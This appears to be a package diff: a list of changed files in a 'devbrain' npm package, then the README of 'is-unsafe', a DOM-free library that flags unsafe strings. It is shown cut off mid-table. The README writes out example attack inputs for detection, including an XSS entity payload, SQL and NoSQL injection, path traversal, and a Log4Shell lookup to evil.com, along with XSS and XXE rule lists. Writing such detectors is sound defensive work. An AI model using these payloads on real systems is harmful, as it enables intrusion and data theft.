- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/LICENSE.txt +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/README.md +74 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/browser.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/browser.js +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/index.d.ts +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/index.js +279 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/package.json +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/signals.d.ts +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/cjs/signals.js +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/browser.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/browser.js +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/index.d.ts +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/index.js +275 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/package.json +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/signals.d.ts +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/dist/mjs/signals.js +39 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/signal-exit/package.json +106 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/cjs/index.js +4898 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/esm/index.js +4745 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/esm/package.json +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/api.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/args/log-format.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/errors/git-construct-error.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/errors/git-error.d.ts +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/errors/git-plugin-error.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/errors/git-response-error.d.ts +32 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/errors/task-configuration-error.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/git-factory.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/git-logger.d.ts +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-branch-delete.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-branch.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-commit.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-diff-summary.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-fetch.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-list-log-summary.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-merge.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-move.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-pull.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-push.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-remote-messages.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/parsers/parse-remote-objects.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/abort-plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/block-unsafe-operations-plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/command-config-prefixing-plugin.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/completion-detection.plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/custom-binary.plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/error-detection.plugin.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/index.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/plugin-store.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/progress-monitor-plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/simple-git-plugin.d.ts +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/spawn-options-plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/suffix-paths.plugin.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/plugins/timout-plugin.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/BranchDeleteSummary.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/BranchSummary.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/CheckIgnore.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/CleanSummary.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/ConfigList.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/DiffSummary.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/FileStatusSummary.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/GetRemoteSummary.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/InitSummary.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/MergeSummary.d.ts +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/PullSummary.d.ts +25 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/StatusSummary.d.ts +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/responses/TagList.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/runners/git-executor-chain.d.ts +25 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/runners/git-executor.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/runners/promise-wrapped.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/runners/scheduler.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/runners/tasks-pending-queue.d.ts +23 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/simple-git-api.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/task-callback.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/apply-patch.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/branch.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/change-working-directory.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/check-ignore.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/check-is-repo.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/checkout.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/clean.d.ts +25 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/clone.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/commit.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/config.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/count-objects.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/diff-name-status.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/diff.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/fetch.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/first-commit.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/grep.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/hash-object.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/init.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/log.d.ts +32 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/merge.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/move.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/pull.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/push.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/remote.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/reset.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/show.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/stash-list.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/status.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/sub-module.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/tag.d.ts +18 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/task.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/tasks/version.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/types/handlers.d.ts +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/types/index.d.ts +136 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/types/tasks.d.ts +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/argument-filters.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/exit-codes.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/git-output-streams.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/index.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/line-parser.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/simple-git-options.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/task-options.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/task-parser.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/src/lib/utils/util.d.ts +47 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/typings/errors.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/typings/index.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/typings/response.d.ts +556 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/typings/simple-git.d.ts +1033 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/dist/typings/types.d.ts +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/package.json +51 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/promise.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/simple-git/readme.md +851 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/stdin-discarder/index.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/stdin-discarder/index.js +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/stdin-discarder/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/stdin-discarder/package.json +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/stdin-discarder/readme.md +37 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/string-width/index.d.ts +39 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/string-width/index.js +82 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/string-width/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/string-width/package.json +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/string-width/readme.md +66 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strip-ansi/index.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strip-ansi/index.js +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strip-ansi/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strip-ansi/package.json +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strip-ansi/readme.md +37 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strnum/CHANGELOG.md +51 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strnum/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strnum/README.md +113 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strnum/package.json +36 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/strnum/strnum.js +171 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/to-regex-range/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/to-regex-range/README.md +305 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/to-regex-range/index.js +288 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/to-regex-range/package.json +88 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/xml-naming/README.md +189 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/xml-naming/package.json +54 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/xml-naming/src/index.d.ts +74 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/xml-naming/src/index.js +270 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/package.json +66 -0
- package/node_modules/@devbrain/core/dist/analysis/analyzers/source-code.analyzer.d.ts +24 -0
- package/node_modules/@devbrain/core/dist/analysis/analyzers/source-code.analyzer.js +126 -0
- package/node_modules/@devbrain/core/dist/context/context.service.d.ts +6 -7
- package/node_modules/@devbrain/core/dist/context/context.service.js +102 -16
- package/node_modules/@devbrain/core/dist/embeddings/EmbeddingProvider.d.ts +4 -0
- package/node_modules/@devbrain/core/dist/embeddings/EmbeddingProvider.js +2 -0
- package/node_modules/@devbrain/core/dist/embeddings/TransformersProvider.d.ts +9 -0
- package/node_modules/@devbrain/core/dist/embeddings/TransformersProvider.js +70 -0
- package/node_modules/@devbrain/core/dist/engine/dependency.resolver.d.ts +12 -0
- package/node_modules/@devbrain/core/dist/engine/dependency.resolver.js +101 -0
- package/node_modules/@devbrain/core/dist/engine/history.manager.d.ts +24 -0
- package/node_modules/@devbrain/core/dist/engine/history.manager.js +64 -0
- package/node_modules/@devbrain/core/dist/engine/lock.manager.d.ts +21 -0
- package/node_modules/@devbrain/core/dist/engine/lock.manager.js +89 -0
- package/node_modules/@devbrain/core/dist/engine/logger.service.d.ts +16 -0
- package/node_modules/@devbrain/core/dist/engine/logger.service.js +49 -0
- package/node_modules/@devbrain/core/dist/engine/memory.engine.d.ts +30 -0
- package/node_modules/@devbrain/core/dist/engine/memory.engine.js +200 -0
- package/node_modules/@devbrain/core/dist/git/git.service.d.ts +42 -0
- package/node_modules/@devbrain/core/dist/git/git.service.js +192 -0
- package/node_modules/@devbrain/core/dist/index/SQLiteVectorStore.d.ts +19 -0
- package/node_modules/@devbrain/core/dist/index/SQLiteVectorStore.js +189 -0
- package/node_modules/@devbrain/core/dist/index/VectorIndexer.d.ts +20 -0
- package/node_modules/@devbrain/core/dist/index/VectorIndexer.js +169 -0
- package/node_modules/@devbrain/core/dist/index/VectorStore.d.ts +26 -0
- package/node_modules/@devbrain/core/dist/index/VectorStore.js +2 -0
- package/node_modules/@devbrain/core/dist/index.d.ts +15 -0
- package/node_modules/@devbrain/core/dist/index.js +13 -0
- package/node_modules/@devbrain/core/dist/memory/memory.service.d.ts +6 -3
- package/node_modules/@devbrain/core/dist/memory/memory.service.js +186 -6
- package/node_modules/@devbrain/core/dist/retrieval/ContextBuilder.d.ts +4 -0
- package/node_modules/@devbrain/core/dist/retrieval/ContextBuilder.js +107 -0
- package/node_modules/@devbrain/core/dist/retrieval/RankingEngine.d.ts +13 -0
- package/node_modules/@devbrain/core/dist/retrieval/RankingEngine.js +124 -0
- package/node_modules/@devbrain/core/dist/retrieval/SemanticRetriever.d.ts +17 -0
- package/node_modules/@devbrain/core/dist/retrieval/SemanticRetriever.js +48 -0
- package/node_modules/@devbrain/core/package.json +23 -22
- package/node_modules/@devbrain/shared/dist/constants.d.ts +10 -2
- package/node_modules/@devbrain/shared/dist/constants.js +11 -2
- package/node_modules/@devbrain/shared/dist/types.d.ts +45 -0
- package/node_modules/@devbrain/shared/package.json +14 -14
- package/package.json +66 -65
|
@@ -0,0 +1,528 @@
|
|
|
1
|
+
# `is-unsafe`
|
|
2
|
+
|
|
3
|
+
> Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
|
4
|
+
|
|
5
|
+
[](https://www.npmjs.com/package/is-unsafe)
|
|
6
|
+
[](LICENSE)
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Why `is-unsafe`?
|
|
11
|
+
|
|
12
|
+
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
|
|
13
|
+
|
|
14
|
+
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
|
|
15
|
+
|
|
16
|
+
> *Is this string value unsafe in a given context?*
|
|
17
|
+
|
|
18
|
+
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
|
|
19
|
+
|
|
20
|
+
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
|
|
21
|
+
|
|
22
|
+
DOCTYPE blocks can define custom entities with arbitrary values:
|
|
23
|
+
|
|
24
|
+
```xml
|
|
25
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
26
|
+
<!DOCTYPE urlset [
|
|
27
|
+
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
|
|
28
|
+
]>
|
|
29
|
+
<urlset>
|
|
30
|
+
<url><loc>https://example.com/&xss;</loc></url>
|
|
31
|
+
</urlset>
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Installation
|
|
39
|
+
|
|
40
|
+
```sh
|
|
41
|
+
npm install is-unsafe
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Quick start
|
|
47
|
+
|
|
48
|
+
```js
|
|
49
|
+
import { isUnsafe } from 'is-unsafe';
|
|
50
|
+
|
|
51
|
+
isUnsafe('<script>alert(1)</script>', 'HTML') // → true
|
|
52
|
+
isUnsafe('New York, NY', 'HTML') // → false
|
|
53
|
+
|
|
54
|
+
isUnsafe("' OR 1=1--", 'SQL') // → true
|
|
55
|
+
isUnsafe('../etc/passwd', 'SHELL') // → true
|
|
56
|
+
isUnsafe('(a+)+', 'REDOS') // → true (ReDoS risk)
|
|
57
|
+
isUnsafe('{"$ne": null}', 'NOSQL') // → true
|
|
58
|
+
isUnsafe('${jndi:ldap://evil.com}', 'LOG') // → true (Log4Shell)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## API
|
|
64
|
+
|
|
65
|
+
### `isUnsafe(value, context)` → `boolean`
|
|
66
|
+
|
|
67
|
+
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
|
|
68
|
+
|
|
69
|
+
| Parameter | Type | Description |
|
|
70
|
+
|-----------|------|-------------|
|
|
71
|
+
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
|
|
72
|
+
| `context` | `string \| string[] \| RegExp` | Context name, array of context names, or a custom `RegExp`. |
|
|
73
|
+
|
|
74
|
+
```js
|
|
75
|
+
// Single context
|
|
76
|
+
isUnsafe(value, 'HTML')
|
|
77
|
+
|
|
78
|
+
// Multiple contexts — true if unsafe in ANY of them
|
|
79
|
+
isUnsafe(value, ['HTML', 'XML'])
|
|
80
|
+
|
|
81
|
+
// Custom RegExp — true if pattern matches
|
|
82
|
+
isUnsafe(value, /my-pattern/i)
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
### `whyUnsafe(value, context)` → `MatchResult | null`
|
|
88
|
+
|
|
89
|
+
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
|
|
90
|
+
|
|
91
|
+
```js
|
|
92
|
+
import { whyUnsafe } from 'is-unsafe';
|
|
93
|
+
|
|
94
|
+
const result = whyUnsafe('<script>alert(1)</script>', 'HTML');
|
|
95
|
+
// {
|
|
96
|
+
// context: 'HTML',
|
|
97
|
+
// id: 'html-script-open',
|
|
98
|
+
// description: '<script opening tag',
|
|
99
|
+
// pattern: /<script[\s>/]/i
|
|
100
|
+
// }
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
### `allUnsafe(value, context)` → `MatchResult[]`
|
|
106
|
+
|
|
107
|
+
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
|
|
108
|
+
|
|
109
|
+
```js
|
|
110
|
+
import { allUnsafe } from 'is-unsafe';
|
|
111
|
+
|
|
112
|
+
const findings = allUnsafe('<script onload="x"></script>', 'HTML');
|
|
113
|
+
// [
|
|
114
|
+
// { context: 'HTML', id: 'html-script-open', ... },
|
|
115
|
+
// { context: 'HTML', id: 'html-script-close', ... },
|
|
116
|
+
// { context: 'HTML', id: 'html-inline-event-handler', ... }
|
|
117
|
+
// ]
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
### `VALID_CONTEXTS`
|
|
123
|
+
|
|
124
|
+
Exported array of all built-in context names.
|
|
125
|
+
|
|
126
|
+
```js
|
|
127
|
+
import { VALID_CONTEXTS } from 'is-unsafe';
|
|
128
|
+
// {
|
|
129
|
+
// readonly HTML: "HTML";
|
|
130
|
+
// readonly XML: "XML";
|
|
131
|
+
// readonly SVG: "SVG";
|
|
132
|
+
// readonly SQL: "SQL";
|
|
133
|
+
// readonly "SQL-STRICT": "SQL-STRICT";
|
|
134
|
+
// readonly SHELL: "SHELL";
|
|
135
|
+
// readonly REDOS: "REDOS";
|
|
136
|
+
// readonly NOSQL: "NOSQL";
|
|
137
|
+
// readonly LOG: "LOG";
|
|
138
|
+
// }
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Contexts
|
|
144
|
+
|
|
145
|
+
### `'HTML'`
|
|
146
|
+
|
|
147
|
+
XSS vectors when a string is rendered as HTML:
|
|
148
|
+
|
|
149
|
+
| Rule ID | What it catches |
|
|
150
|
+
|---------|----------------|
|
|
151
|
+
| `html-script-open` | `<script` opening tag |
|
|
152
|
+
| `html-script-close` | `</script>` closing tag |
|
|
153
|
+
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
|
|
154
|
+
| `html-vbscript-protocol` | `vbscript:` URI |
|
|
155
|
+
| `html-data-html` | `data:text/html` URI |
|
|
156
|
+
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
|
|
157
|
+
| `html-data-svg` | `data:image/svg+xml` URI |
|
|
158
|
+
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
|
|
159
|
+
| `html-entity-obfuscated-script` | `<script`, `<script`, `<script` |
|
|
160
|
+
| `html-entity-obfuscated-javascript` | Hex/decimal entity encoding of `javascript:` |
|
|
161
|
+
| `html-style-expression` | CSS `expression()` — IE code execution |
|
|
162
|
+
| `html-object-embed` | `<object>` and `<embed>` tags |
|
|
163
|
+
| `html-base-tag` | `<base href=` — relative URL hijacking |
|
|
164
|
+
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
|
|
165
|
+
| `html-srcdoc` | `srcdoc=` attribute on iframes |
|
|
166
|
+
| `html-iframe` | `<iframe` tag |
|
|
167
|
+
| `html-form` | `<form` tag — phishing injection |
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
### `'XML'`
|
|
172
|
+
|
|
173
|
+
Parser-level attacks in XML documents (distinct from HTML XSS):
|
|
174
|
+
|
|
175
|
+
| Rule ID | What it catches |
|
|
176
|
+
|---------|----------------|
|
|
177
|
+
| `xml-cdata-injection` | `<![CDATA[` injection |
|
|
178
|
+
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
|
|
179
|
+
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
|
|
180
|
+
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
|
|
181
|
+
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
|
|
182
|
+
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
|
|
183
|
+
| `xml-entity-declaration` | `<!ENTITY` declaration |
|
|
184
|
+
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
|
|
185
|
+
| `xml-namespace-confusion` | `xmlns=` attribute injection |
|
|
186
|
+
| `xml-comment-injection` | `<!--` comment open |
|
|
187
|
+
